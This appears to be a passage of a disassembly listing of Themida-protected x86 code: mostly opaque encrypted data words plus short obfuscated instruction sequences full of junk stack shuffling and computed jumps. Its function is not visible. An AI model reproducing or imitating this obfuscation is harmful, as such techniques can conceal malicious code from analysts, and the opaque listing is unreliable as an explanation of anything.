		dd 563386C8h, 0F5684701h, 109DB499h, 64422362h,	2940593Ah
		dd 6E0F7E5Dh, 7F168EA5h, 0F1A70F58h, 8A2CD9B6h,	91721335h
		dd 4489DFCh, 16AABFE1h,	62CE254Ah, 5F6CB6D7h, 6D4075B0h
		dd 1F4E6D0Ch, 18F0FBA2h, 4DC93C1Bh, 160CECE5h, 29A5D8F7h
		dd 0F20CECE5h, 799C4993h, 99CCEBE8h, 0CECE53Dh,	0DE6FE371h
		dd 636DB0BFh, 57741257h, 0DAF8D926h, 0E8C74612h, 8FDE70C2h
		dd 0BAD95A48h, 5031789Dh, 0D6674B88h, 7765976h,	6D6888Bh
		dd 0A9A73154h, 3711A68Ch, 0FBDDE726h, 5E901C6Ah, 6F2E6778h
		dd 17175B0Eh, 89207C5Bh, 0FE24Ch, 2C2AB800h, 341AAC8Eh
		dd 2A20B496h, 3B15A68Ch, 2C28B59Bh, 7B909F8Eh, 624866EEh
		dd 2280D2h, 1B3D9DABh, 172482CAh, 0AC49C538h, 0FF1216B6h
		dd 0E06CBD63h, 90D2DCC3h, 3F30D03Ah, 0B80061F1h, 0B0D60B29h
		dd 6DBE213h, 62C168Fh, 48C998B2h, 71E4E380h, 0A8B0415h
		dd 1DEBFDEh, 77C68AD9h,	9090CE16h, 0B18E2D59h, 4035F8Eh
		dd 49CC0A8Bh, 0EFD5007Fh, 4C6E107Bh, 0DA8751F7h, 0FB5BAABBh
		dd 520477EEh, 0B39443B8h, 77EEC842h, 0C40C9104h, 9BD05C1Ch
		dd 0CA1C3E50h, 0DDC81F84h, 8DAB3D3Ch, 45DC43h, 0A3820000h
		dd 0CCEBC8BEh, 0B5207AEBh, 0A4E9109Dh, 0FBF8ED1Ch, 3921168Eh
		dd 0CD1AA2A6h, 0F4476B48h, 89077654h, 0C10A8A65h, 0D8FFDC70h
		dd 6B263BE6h, 6F6D771Fh, 352F649h, 0F02C6h, 0D8BEE900h
		dd 86E92CE3h, 0A365EFF9h, 7AEBC8BEh, 1685488Eh,	0D4735C7Bh
		dd 288530A1h, 68B22C5Dh, 1A7B0A85h, 0D4735C7Bh,	9CE30D6h
		dd 0BB9FBC04h, 0A384222Ah, 47F55184h, 5FBE0A85h, 5860E87Bh
		dd 0D869E376h, 0A20185DCh, 6CD99833h, 1BB8DD10h, 88C2163Ch
		dd 0B4795B9h, 0DD70626Ah, 0D8694F6Fh, 0B8B864AEh, 8EEFE0E7h
		dd 1E6881BFh, 95114CC1h, 3B5A0A5Ch, 0DDC8D646h,	815C0B73h
		dd 0E83h, 2B8BCB17h, 3999B505h,	2585C517h, 3E9CB403h, 2787CD1Ch
		dd 83D23BF4h, 81CFF1D1h, 7CCFF1D1h, 79CCEECCh, 0E9E6F3D3h
		dd 0B6AE1A74h, 94AEE316h, 9DB51270h, 592D3410h,	46580B7Ah
		dd 88D1685h, 163687ABh,	0D3F92B8h, 9DE9003Ch, 0B3C6CF3Eh
		dd 66A71075h, 0F6E493F3h, 0D8F5B479h, 0E23h, 4B6BEB77h
		dd 5979D565h, 4565E577h, 5E7CD463h, 4767ED7Ch, 23B2DB54h
		dd 21AF9131h, 1CAF9131h, 19AC8E2Ch, 89C69333h, 0B6ADFA54h
		dd 0F44EC316h, 14FE0C2h, 84495B7h, 0C2C41539h, 2B871D89h
		dd 83D2B3D2h, 0E6775B7Ch, 2EB6D766h, 9AC067E4h,	63F14045h
		dd 5222BA02h, 0FAA341A9h, 890h,	0FDDC260h, 279AF514h, 5D84B038h
		dd 0D75B8A29h, 0F016857Bh, 0E90027E7h, 75E80E20h, 0A850419h
		dd 0A3C2A3E2h, 0C18B1E04h, 4DDEC4E1h, 9D33203h,	0F9D676C7h
		dd 0BC0B82D1h, 7CEBF594h, 85038D0Dh, 0CCBAAF0Ah, 0D37BCBEFh
		dd 0E6EE5EEFh, 0F57D84F9h, 0ECCE1075h, 7CE9F359h, 27086419h
		dd 561579F7h, 0D5E7Bh, 0A8AE3C00h, 0B896280Ah, 0A6A4381Ah
		dd 0BF912208h, 0A8AC391Fh, 0F7141B0Ah, 0E6CCEA6Ah, 0FCDEFC56h
		dd 0DFC1E167h, 13E0FE4Eh, 0AF3D99CCh, 930616B6h, 0E06CBDAFh
		dd 20557251h, 109DB4A6h, 0B4A62E6Fh, 751A2B21h,	783864D5h
		dd 0E0A341E6h, 7DCh, 0B5127076h, 6F53109Dh, 2E1EAFE2h
		dd 3039854Fh, 0A2047956h, 3B168547h, 0ABDAFDDAh, 0A84C12Fh
		dd 2CA6D7F8h, 0F50A84C1h, 0EAE7F190h, 0F7D775C8h, 310E80D1h
		dd 84C162BCh, 7BEA2B0Ah, 0A84C11Fh, 75C4A5E8h, 43913237h
		dd 0BEDF3E0Fh, 6D193E21h, 4A77AB86h, 272E5D67h,	8107638h
		dd 6946D085h, 0E87F79F7h, 0CA6EDh, 0F066F400h, 0F05EF0D2h
		dd 0EE5CF0D2h, 0F759EAD0h, 0F064F1D7h, 1F4CE3D2h, 0BEE4C292h
		dd 0E4C6E46Eh, 0F7D9F94Fh, 0FBC8E666h, 0B025A1D4h, 0BBEE16B6h
		dd 0E06CBD87h, 70DC6D51h, 0F4CF6C53h, 44C49E39h, 0AC26ED7Ch
		dd 7E2FED0Fh, 2597A341h, 28000007h, 559FB102h, 0C8BEA38Bh
		dd 484B7AEBh, 96BC1685h, 0DA3B0A44h, 5BEA68F8h,	567C5B3Ah
		dd 435D8303h, 0BC5957B7h, 22432228h, 410B9E84h,	61EF4062h
		dd 0B827B1D0h, 0BCCEB49Bh, 994A2D46h, 0BC52B04Fh, 0AF930A84h
		dd 0E1203121h, 86DBD7h,	0AD4B32A3h, 0E92C1075h,	0F6DDEC74h
		dd 7F5A1179h, 0BF7h, 9F3F17A3h,	852529B9h, 993911A3h, 8A2828B7h
		dd 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h, 0E5785A78h
		dd 557A4767h, 0B6AFA620h, 83A6F16h, 51E06CBDh, 8BFF5072h
		dd 72CADD3Eh, 340564CDh, 0BA8BBD12h, 0A0B23A5Bh, 692E3F0Dh
		dd 6C2C50E9h, 0EA34135h, 0A4626429h, 8BCC2134h,	71D5759Dh
		dd 0D14890F1h, 65Ch, 1F6BC0E2h,	9EA474EEh
		dd 0B9D83D10h, 1570A52Fh, 2F109DB5h, 1337893Ah,	5A2C342h
		dd 854880D0h, 2E7DA516h, 0C84D9A22h, 0C7EBCCEBh, 2FABDA7Ah
		dd 0F80A84C2h, 0B8094B95h, 0C1143694h, 637EBA8Bh, 0B180CE60h
		dd 0B5923150h, 0C8103C8Dh, 75BCDC39h, 0ED60A510h, 79F6DA7Dh
		dd 3002DF8Eh, 6A00000Bh, 765C7ADCh, 664C6AE4h, 785A78D2h
		dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h
		dd 2824B59Bh, 6F9EC18Ah, 16B6B0F3h, 0BDF965BCh,	6D51E06Ch
		dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0A5A341EAh, 120h
		dd 0E06CBDB9h, 0B2DC6D51h, 9DB4C743h, 6C0D9010h, 6F17524Eh
		dd 0A2E01D50h, 0EED9168Eh, 0EDB0625Ch, 0BB8D22A8h, 0C20A6BAAh
		dd 2051E025h, 0A8AA8A2h, 74F5DAF9h, 43668CA9h, 0A9226C74h
		dd 0AD6BB583h, 0E173575Ah, 2FB9D869h, 20E8h, 0BEA34E00h
		dd 9B7AEBC8h, 6C168E98h, 69E91829h, 0C00A8A89h,	0C987B546h
		dd 715AAD3Eh, 9Eh, 69DDC2C5h, 9D3EAF22h, 0ABFE5098h, 1FAE90A1h
		dd 8F222435h, 0AD3C1EBDh, 8CCE1DA7h, 40B31339h,	109DCFBCh
		dd 3B9BB104h, 3A0E6FBh,	88175ED2h, 9D3A5B16h, 0E16628B5h
		dd 0A963270Ah, 85AD0A6Bh, 0C6471632h, 6BFAE0FEh, 1DC074E9h
		dd 6EFD800Dh, 0A2673h, 70E67400h, 70DE7052h, 6EDC7052h
		dd 77D96A50h, 70E47157h, 9FCC6352h, 3E644212h, 644664EEh
		dd 775979CFh, 7B4866E6h, 0B1A52154h, 3B6E16B6h,	0E470BD07h
		dd 72C1E9C6h, 0C60E8FDEh, 0AC0B4194h, 0BCC1183h, 0E2EADFF8h
		dd 6CBD56F4h, 0AB008F1Dh, 2C6DFC9Dh, 87DAFC4Dh,	95CAE5C5h
		dd 68000004h, 0DB0ABEA3h, 109DB57Fh, 1D2A22B3h,	0CC86D6F8h
		dd 5E7D1C7Dh, 8EAD862Fh, 35A8A716h, 0A8A9AD9h, 330263A2h
		dd 8A9B44C2h, 0DA6F9B0Ah, 0AD0CE2B2h, 1F14A5Ah,	70F00000h
		dd 109DB517h, 0A0FA6B4Ch, 69109DB4h, 49A09C24h,	36F9E3Dh
		dd 0AC168548h, 456D4A69h, 8B0A5BF7h, 8EBE0F41h,	95B70A30h
		dd 8DC31436h, 0D4935DBCh, 0D6F591D8h, 3ED2CEF1h, 0EBF593D9h
		dd 6D227FEEh, 0AAEB1076h, 0F78D0BB7h, 58753479h, 93Fh
		dd 67470F5Bh, 7D5DF141h, 6141095Bh, 4260F03Fh, 2383D160h
		dd 7FCE3FF0h, 85D3F5D5h, 78CBEDCDh, 7DD0F2D0h, 0FDE2EFCFh
		dd 0B6B30E88h, 0A0C2D716h, 0C91A6CBDh, 0AF7A372Dh, 12340564h
		dd 0C0B2C7BFh, 55088956h, 0E6FE371h, 40B9573Fh,	0AD0D3F92h
		dd 41AE4715h, 3FE29A3h,	0C0EF19BCh, 3CB2E9F3h, 88000001h
		dd 51E06CBDh, 5370DC6Dh, 0F3A3296Ch, 268DA14Dh,	1282867Eh
		dd 2E2CB49Bh, 308FF7F2h, 0FB84DE0Fh, 0C84D109Dh, 68F953E6h
		dd 43B29F29h, 168EE8E6h, 0EE1F2E6Fh, 0A8AE570h,	8EAE4BC7h
		dd 5AACD6CEh, 4276h, 0E0C2CC00h, 2E6FFE4Ch, 374F9AA6h
		dd 6C21B298h, 0A2E372D8h, 0FBDCF9C3h, 0B52DA9DCh, 97F6109Dh
		dd 98DFBE4Dh, 6DB0168Eh, 8CDBFFDCh, 0CC1475C4h,	8A88DD3Dh
		dd 61DA340Ah, 0AD3E7D3Bh, 0A2E55Ah, 0BD790000h,	6D51E06Ch
		dd 0E6E574E0h, 0EC2175C4h, 109DB572h, 31BBDA3Bh, 0AFBE8E1Fh
		dd 94321AABh, 9DE7EB61h, 0C6371810h, 109D624Ch,	0E6E8F015h
		dd 50CA3B53h, 19109D62h, 0F93595F4h, 0C43996F0h, 1687C030h
		dd 0E7CBE82Dh, 0F6DCFA5Ah, 0D078ED67h, 0E5800CF0h, 7FD0B46h
		dd 119D0000h, 0F3436545h, 3557B5Bh, 0F2416747h,	0B5A805Eh
		dd 0F53A6949h, 0AB0B4998h, 0BB1B3785h, 0A8064295h, 0BD1D2F82h
		dd 0E03AABB4h, 0A916B6B3h, 0DDC2CE70h, 0FA6BDA9Dh, 109EAAA0h
		dd 0D17F2469h, 8DBF09A0h, 94B61440h, 0DAB0B41h,	51E06CBDh
		dd 5270DC6Dh, 27377h, 0DE725800h, 0C2FA646Ch, 3DB3D2DDh
		dd 0B3D263EFh, 5C6F6E0Ch, 45412894h, 0D3614966h, 25AFEE7Fh
		dd 8625D6E6h, 3687CB16h, 0A7C64716h, 9EE76796h,	0D43E0A85h
		dd 471537h, 0E3EF5AA6h,	53000001h, 9DB51770h, 52342D10h
		dd 47E80075h, 0A8ED1685h, 0B696270Bh, 0AFA33119h, 67757F9Eh
		dd 7F5CF041h, 43DAD958h, 85A6B812h, 0B71C810Ah,	14DC64F2h
		dd 2547655h, 3138844Ch,	4547655h, 2459864Eh, 107617A9h
		dd 985E1372h, 0D979F737h, 7153712h, 39850000h, 4B9BBD1Dh
		dd 2B7DA303h, 4A99BF1Fh, 3382A806h, 9D928121h, 5373E170h
		dd 5373DF6Dh, 506EDA6Dh, 5575D76Ah, 0B812438Ch,	8116B6B4h
		dd 6CBD3628h, 0DC6D51E0h, 0BE7A52AAh, 1C5106D3h, 109DFEC2h
		dd 0A6B0A8Bh, 2002533Bh, 0BEC1FB8Fh, 6DE65D4Bh,	14DC3D0Ch
		dd 7456017Ah, 6D5F69DFh, 0FA5270DCh, 0A3419C3Ah, 125A2h
		dd 6CBDB800h, 0DC6D51E0h, 0B565270h, 0CC295C7Bh, 55168EA2h
		dd 72D02130h, 0C90A8A9Fh, 0D0A0CC3Dh, 785AAD0Ch, 2Ah, 0C8BEA3DEh
		dd 989B7AEBh, 296C168Eh, 8969E918h, 46C00A8Ah, 3EC987B5h
		dd 0BB715AADh, 42000000h, 2ABACB60h, 99F84928h,	6CBD854Fh
		dd 557251E0h, 9DB4A620h, 0C88ADA10h, 0CA4B1879h, 0C68F4EE5h
		dd 0C20AC8C0h, 42134190h, 0CE9FAD00h, 3317A991h, 0BE8C2022h
		dd 72C315DFh, 2389FCDAh, 2B109EA7h, 1414B29Ah, 0EB1AB9CDh
		dd 16887155h, 0AE943352h, 0B996351Fh, 886CCA44h, 4D72930Ah
		dd 5F2EA2E6h, 63717BA4h, 0F164F03Dh, 800DD62Bh,	0F0B49158h
		dd 0AA000005h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h
		dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h,	68E4755Bh
		dd 2F5E814Ah, 16B6B5B3h, 0C239257Ch, 0B0FD68DDh, 0D7E19FE9h
		dd 0CFEC68F5h, 0E8F058EBh, 0D775C8EAh, 6CBD59F7h, 71C08C1Dh
		dd 0C842B310h, 91109DB4h, 0FFDC6D0Ch, 34F2D4D8h, 4A92CB34h
		dd 3797B508h, 5318h, 0DDC2B600h, 0C4390BEBh, 109DB64Ah
		dd 24CDF213h, 0EF5FEFBDh, 0C114468Eh, 0B29DBA8Bh, 365778B9h
		dd 0A9FEA077h, 0B203559Fh, 3A87CB9Ah, 0B8074B1Ah, 5993C998h
		dd 80832FE0h, 0BC611E95h, 73088ADDh, 0DE6EBFh, 118D00DFh
		dd 0DA109DF5h, 472631BBh, 8C000000h, 4EE0C2h, 94396B8h
		dd 23A28DAAh, 5368E143h, 0B1B32F5Eh, 197C109Eh,	60E110CFh
		dd 41109EB2h, 0B08F38D1h, 9EB1E13Dh, 616BAA10h,	516EDE6Fh
		dd 86B0466h, 6771DC69h,	0D2664C69h, 0C7E15378h,	2703B73Bh
		dd 6CBD439Dh, 0B557B322h, 0FD20109Dh, 72C387D9h, 0C5E37213h
		dd 0EACDEA9Ch, 9DB51F7Bh, 76E7E810h, 109DB51Ch,	0F7C1A0E5h
		dd 82D5FDDAh, 818FFEC6h, 6E168548h, 0C1A2FC71h,	2A6B0A84h
		dd 0F3466C4Bh, 6577959h, 0F2D8F746h, 8CCBF062h,	1D4A782Ah
		dd 0F5EC4890h, 8C33291h, 4D106C47h, 0F899B505h,	0E666F7DBh
		dd 0FD4FE2C8h, 6D19506Ch, 0A2021F4Eh, 9CBB0A5Ch, 58A0ED69h
		dd 8D57B6FEh, 0FEC8BDE0h, 1773DDD6h, 4657550h, 0A9350000h
		dd 9B2B0DADh, 9B2D13B3h, 9A290FAFh, 0A33218B6h,	0D2211B1h
		dd 0A30351E0h, 83232F7Dh, 0A03E0A9Dh, 852527BAh, 0E86293BCh
		dd 0B116B6B7h, 6CBDC678h, 4DE0C2E0h, 0D96C6EFFh, 0AE1CE273h
		dd 0B2D4651Dh, 96E38125h, 9DA07279h, 0C5CF5D42h, 4EC83Dh
		dd 0F617109Eh, 7CD8F697h, 0A341A1BCh, 5E24h, 0DDC23A00h
		dd 2C9CE174h, 0E6529AB3h, 32C8BFBh, 2009FD0Fh, 0D409A6AEh
		dd 109E287Ah, 0DDFAC243h, 8F6EB5A8h, 69FCDE16h,	468CD9E3h
		dd 8A0B5AF4h, 7AEBCCEBh, 0A8AD920h, 3F1CA4E9h, 0A5A73A20h
		dd 696B7594h, 6D5572D6h, 6E6C74E0h, 8AD8A1FFh, 0C488D90Ah
		dd 0D96FC4E6h, 3A54D88h, 0BDF10000h, 6D51E06Ch,	6C5370DCh
		dd 2238D9D0h, 3220A865h, 3C9BEBF6h, 8F0B6CC9h, 3390F516h
		dd 0EC401F0Ch, 45CDF258h, 9847911Eh, 8BB3E969h,	2F13400Ah
		dd 7507AC9Ch, 92919741h, 0E455AF39h, 0ACD8F8B8h, 29B89A5Ah
		dd 207AA12Bh, 0E0000000h, 0EBC8BEA3h, 8E989B7Ah, 18296C16h
		dd 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0C5715Ah,	0BDC50000h
		dd 0A58D1A6Ch, 0F464E27Bh, 0A087C495h, 7AFD6D0Bh, 6E60680Ch
		dd 0E2E475DFh, 6F6CFD4Fh, 0C4C11D50h, 0B8A109Dh, 0E3E8FC1h
		dd 0C0C73DB0h, 9E2F109Dh, 972A10AEh, 83A7A4B5h,	45035833h
		dd 0ECF495F4h, 9B2A99D0h, 869A8B9h, 90EF3AABh, 7598168Eh
		dd 76105955h, 0F78A2459h, 72931074h, 0B1E06D55h, 0FC1D2C20h
		dd 0B9193E9Dh, 0A411572Eh, 59E862F6h, 418F5938h, 0CF82D25Fh
		dd 79FAE825h, 0B446832Ah, 0E6000002h, 0FAE0FE58h, 0E2C8E668h
		dd 0FCDEFC4Eh, 0E3C5E56Bh, 0EDE0FE56h, 0B89C2942h, 0AAA8381Ah
		dd 0B791260Ch, 0ACA03117h, 0EB1A450Eh, 16B6BA6Fh, 0BD7DE138h
		dd 0F39B1E70h, 220CC71h, 0CC5D4363h, 0A3882280h, 7AEBC8BEh
		dd 168E989Bh, 0E918296Ch, 0A8A8969h, 2D3C18A5h,	66F59C29h
		dd 0D4BA8BEAh, 9D0C536h, 10E00C7Dh, 0B85AAD3Eh,	0D8h, 0E06CBD9Eh
		dd 74E06D51h, 0B12094E5h, 3588109Dh, 4091B717h,	0AA90AF0Ch
		dd 0C9453416h, 92109DAFh, 0BEFA6973h, 0E3C4E3A3h, 0B03591C4h
		dd 0DCFE109Dh, 1574C58Bh, 0D01D6C74h, 79168E80h, 6598B714h
		dd 0A8A7EE9h, 4B8953B2h, 5370164Bh, 74DC2722h, 0EADF010h
		dd 0A5B49A2Ch, 0BC164764h, 850474D7h, 0B79BB800h, 0A28D2A2Ah
		dd 0AF09680Bh, 70DE7092h, 0F7C1A0E1h, 0AADBFCD9h, 475AF30h
		dd 0A4C94F9h, 0F6E499BBh, 2779FAE4h, 1B94580h, 55E10000h
		dd 2F7FA101h, 4799BF1Fh, 2E7DA303h, 0F9E8422h, 0F9366545h
		dd 0AF0F4594h, 0B7173B89h, 0AC0A3E91h, 0B9193386h, 0E43EAFB0h
		dd 0AD16B6BAh, 70BDCA74h, 51E4C6E4h, 6E5F9635h,	0E775E09Eh
		dd 4B6B0A6Bh, 56F4486Ah, 0A43E8607h, 51E06CBDh,	1FADDC6Dh
		dd 82E32233h, 0A1ABFE24h, 764D9490h, 0AD0A6BE5h, 3513A88Ah
		dd 0ACDBE524h, 168EA359h, 96F06542h, 5F0A8A9Eh,	0D439B63Eh
		dd 0CD85D3F7h, 64F559E9h, 0A4C9B25h, 2BA7D6B6h,	0F40A8A9Fh
		dd 5D61F091h, 0F0EF7ECAh, 8A9F217Dh, 43ABEA0Ah,	6B4134C5h
		dd 87DA8801h, 0C0A9E5C5h, 0E4C6E9C6h, 2E6FFE54h, 6FF267A6h
		dd 6AAB107Bh, 0E666F7DBh, 0FD8E0457h, 7350362Bh, 683E8F02h
		dd 0AF02480Ah, 0FCDEFC9Dh, 7052E369h, 714E6DDBh, 643BA2FCh
		dd 882A6BFEh, 1CCB1533h, 7D35C648h, 8682202Ch, 77D5685Bh
		dd 0E9C6A7E6h, 552A4174h, 0A5BBA04h, 0F8D775C8h, 0F91107CFh
		dd 428A0F44h, 0C643ADA3h, 409FE702h, 41F178CDh,	5BE9F1FEh
		dd 462766F7h, 0D5634768h, 2247737Dh, 42684764h,	62B995EDh
		dd 0D957014Fh, 32D130B8h, 0EFF82591h, 46F4C6C8h, 8F4B94C5h
		dd 0A9983F2Bh, 3AA7317Eh, 0F5488ADBh, 517757h, 0E2CC1E86h
		dd 0F3925550h, 0B5EB1362h, 29B7EBE4h, 0A3361829h, 66F751E6h
		dd 0D3F74627h, 1A7BCA82h, 0C6AF4CC6h, 0D68CFD75h, 0C7E9C983h
		dd 4387D676h, 587F5CF4h, 0CBB89858h, 1AC913E2h,	832FCC46h
		dd 0AD295C32h, 76EB649Eh, 0E2093251h, 0A6C70E03h, 70C1E7C7h
		dd 0C508DDCh, 0EE000000h, 0CFA2DDC2h, 4F967B6Ah, 0BD4F1185h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	5E08950h
		dd 4, 8704E883h, 895C2404h
; ---------------------------------------------------------------------------
		add	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	4486h
		mov	[esp], esi
		mov	esi, 606B0595h
		sub	esi, 56121E24h
		and	esi, 9F44F15h
		dec	esi
		inc	esi
		neg	esi
		sub	esi, 0F196C49Ch
		mov	edi, esi
		pop	esi
		push	288Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 398680Fh
		pop	dword ptr [eax+8]
		sub	dword ptr [eax+8], 398680Fh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 0F1ABF736h, 2E96C670h
		db 66h,	0D1h
; ---------------------------------------------------------------------------


loc_5DCB86:				; CODE XREF: Themida_:loc_5DB66Ej
		mov	eax, 6190802h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0Eh
		dd 7A199520h, 112D43D9h, 0CA5BDC76h, 0B546106h,	583BD35Ch
		dd 9044A22h, 7D273248h,	0A17A5AC9h, 130E2E31h, 7C52826Fh
		dd 1F61FAEEh, 32489C32h, 844EA704h, 993E8A0Bh, 792AFCDCh
		dd 7022561Dh, 0DE08DE74h, 0E9342157h, 2Ah, 2347DA2Eh, 2540000h
		dd 8 dup(0)
		dd 70E90000h, 6800000Ch, 6190AF4h, 0FB3E3FE9h, 0C1468FFh
		dd 35E90619h, 68FFFB3Eh, 6190D90h, 0FB3E2BE9h, 0E7368FFh
		dd 21E90619h, 68FFFB3Eh, 6190F2Dh, 0FB3E17E9h, 110B68FFh
		dd 0DE90619h, 68FFFB3Eh, 61911CBh, 0FB3E03E9h, 130468FFh
		dd 0F9E90619h, 68FFFB3Dh, 6191427h, 0FB3DEFE9h,	0B7F812FFh
		dd 6B4499C9h, 0BCEF0D75h, 6F409EC6h, 1F806111h,	83190DC1h
		dd 335F415Eh, 79E9D7D4h, 2B574962h, 0EA04DECDh,	0E132A626h
		dd 1D0A428Dh, 4A6177F0h, 0CEDDFB89h, 0E641DBF4h, 3E3E6672h
		dd 0EA88883Eh, 0DF6AA238h, 0AD3EA180h, 89637B7Bh, 53DBE7D8h
		dd 0C0BC1523h, 0BD79B158h, 7325A038h, 63C58119h, 6E569B4Dh
		dd 33F21F90h, 7A5EB683h, 22087731h, 461AA919h, 204048CBh
		dd 15000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh,	783CE94Fh
		dd 8D56F4BDh, 0CA24EE1Dh, 113B448h, 77610000h, 96CE4A61h
		dd 1B9F1337h, 2C25B33Dh, 0AD663998h, 6EEAC117h,	91A708E6h
		dd 11B45440h, 6E5F2A6Dh, 18F4E097h, 7B6B5593h, 1B2F913h
		dd 9056F17h, 0B1F34494h, 0F6A9E1F7h, 54449404h,	0D989F7B4h
		dd 74ACACFFh, 2324EFh, 604BA014h, 0AC4390AAh, 279F9792h
		dd 3EA12E24h, 0E868D012h, 9D5D9609h, 0C1E1059Bh, 6678C45h
		dd 60CCF894h, 0FAAC02B4h, 839DD268h, 3518B0A8h,	23C74D22h
		dd 416175E1h, 2D9B683h,	0E7F779A9h, 5C850D2Bh, 0A03BD343h
		dd 80F4C60Bh, 3B8F4467h, 7F93839Dh, 43889D07h, 89396BB7h
		dd 67797063h, 0F51DBB1Dh, 7B16930Ch, 0A871003Fh, 0A020A7Fh
		dd 8F6B0000h, 3BD2C220h, 86660E74h, 37C7BB25h, 775A0A78h
		dd 1006BA28h, 584A557Ch, 2E0CB2Ch, 50327992h, 0F9E7C424h
		dd 39AB1BE3h, 0F428DE2h, 5A77EB12h, 0D1275B45h,	0B1623DA4h
		dd 0FB6DDD59h, 0D14494E8h, 0F9DD598Fh, 94E8E751h, 95343544h
		dd 0ABC0A560h, 0CD53E517h, 0F748D2E6h, 5A21DE17h, 0C63278D7h
		dd 9400AF4Eh, 3D7D3679h, 746BDBBBh, 523EA1F5h, 1FF82810h
		dd 7B30CB28h, 7F608436h, 0A47D113h, 346B96FEh, 5DAD4B7Fh
		dd 0BD790DE7h, 0BB8F5C02h, 0C0F1AE53h, 3B7833D4h, 4BAF497Fh
		dd 48CB15BCh, 68DC6C68h, 60BD7901h, 0B4761C1Eh,	92000000h
		dd 13C0DF02h, 773221B7h, 0FB894A61h, 327993D6h,	1E413B78h
		dd 0EC4494E5h, 51419F0Ch, 30BFF4B7h, 0AB1B1B16h, 0C15E25A0h
		dd 616E5496h, 0E8EC6CC7h, 0F460E8ECh, 0C4BD7806h, 69E0A82h
		dd 566EBD78h, 0B88E96C8h, 44D614CFh, 4CDF34C8h,	38D0C4C7h
		dd 0B7421BCCh, 0D8408ABCh, 3ED09938h, 19493771h, 59E2E7B8h
		dd 8670FFD2h, 8E21C9Dh,	6F8B0000h, 0DB326240h, 6686EED4h
		dd 0D7275B45h, 577AEAD8h, 0F0665A48h, 0B82A755Ch, 22802BCCh
		dd 0B0129972h, 198724C4h, 0D94BBBC3h, 0AF428DE4h, 0E3FB8BB2h
		dd 0CD06ED6Ah, 88634F90h, 547D1523h, 0CB2D554Bh, 0FBD302E0h
		dd 0E8056F17h, 0B1F34494h, 0EC0DEB27h, 94E8E85Ch, 6C9EE044h
		dd 0BABB1DA7h, 71498A21h, 0EA744937h, 0CC2FD73Fh, 3E3EA1F7h
		dd 146B25Ah, 0F436BD78h, 0BC3E6180h, 0E7DD1648h, 3C289A11h
		dd 0EAE20F9Ch, 44A22253h, 43172492h, 2E4DB74Fh,	93B3632h
		dd 6645A3EFh, 0E7048C7Ch, 1DBB0FC4h, 8A6213F5h,	1E1AF021h
		dd 322E3AAEh, 1AD01236h, 2E7CE3D9h, 825A3632h, 0F5DCE829h
		dd 0EAC69AAh, 0EAA82345h, 3C6F89E1h, 0F1BA1E46h, 0D2E0DD05h
		dd 88E750A4h, 0E06B6172h, 69760F7h, 0D5338B58h,	6078ECD6h
		dd 0CF59864Bh, 1154F464h, 74C079Ch, 0AC5E4D9Fh,	949FA936h
		dd 0A3E924A4h, 0D4F5232h, 0D471E8E4h, 886C2214h, 0FBB8F308h
		dd 5F361DD9h, 60AA58A4h, 0C73704DAh, 0D7A6EB38h, 4C45Eh
		dd 93FB3700h, 9880316Eh, 94E884F0h, 78327444h, 4BCDE2FCh
		dd 94E855BFh, 0F8B52B44h, 3D9B4494h, 0CFBB6B1Ch, 50F19BC3h
		dd 374A770Fh, 6B4BC133h, 7385B7BBh, 6B4BA117h, 0B5700ABBh
		dd 61C6C941h, 0C848C15Eh, 265E7C2Fh, 0B0614AAEh, 621B905Ah
		dd 0B7771558h, 766ED8Ch, 0F3070000h, 3F9EC6BCh,	8A621270h
		dd 3BD3BF21h, 7B660E74h, 1C12BE24h, 643E6180h, 0EED4D730h
		dd 5C466586h, 0E5DBD028h, 2D972FD7h, 1B428DE5h,	6177E72Eh
		dd 0F7F894Ah, 4A617BFEh, 3A773189h, 0AFF9B24Ah,	0B93A4429h
		dd 0D73F8922h, 0ABE1F72Fh, 0A921353Eh, 0BD721F3Fh, 6748A50Dh
		dd 809A50AAh, 58718C04h, 0A2EC238Eh, 6FA466B0h,	0EBC0179Bh
		dd 2216D426h, 9D5655B2h, 0A145DB5Dh, 45D3DC31h,	375136DCh
		dd 0F58CFCFCh, 13C74738h, 447DEDD1h, 2D66E07Ch,	0A8201813h
		dd 7AD381F5h, 9A637D7h,	9CE8F2C8h, 8666EE6Ah, 589219EFh
		dd 78D95F9Bh, 0E652DD67h, 0FE8C5B66h, 0BB1DB500h, 0F107C3F0h
		dd 67E74F91h, 0B61E1A91h, 61995A51h, 0CCE355F5h, 0A7D97CD8h
		dd 85630F91h, 302A526h,	6C57B575h, 6834Dh, 9F10EA00h, 0F3BC5141h
		dd 0A407E58Dh, 0F7B8563Eh, 0A7F8D989h, 0FB918539h, 0ABD7C9D6h
		dd 11815F4Ch, 0A3CFB1FAh, 627C6645h, 0E6BA2E9Eh, 9592428Dh
		dd 0DD48D268h, 7203D979h, 27E3108Fh, 0C73F57E1h, 3EA1F754h
		dd 0A133E022h, 76AF6447h, 64FEFBC8h, 1056F17h, 7BF3BD78h
		dd 66A44D62h, 0B2F266A4h, 0EF4A3544h, 69E1553Bh, 0BD7834FFh
		dd 997D9BCDh, 4D2B8EF1h, 483A6CC7h, 9CDD30A0h, 9E3C6E41h
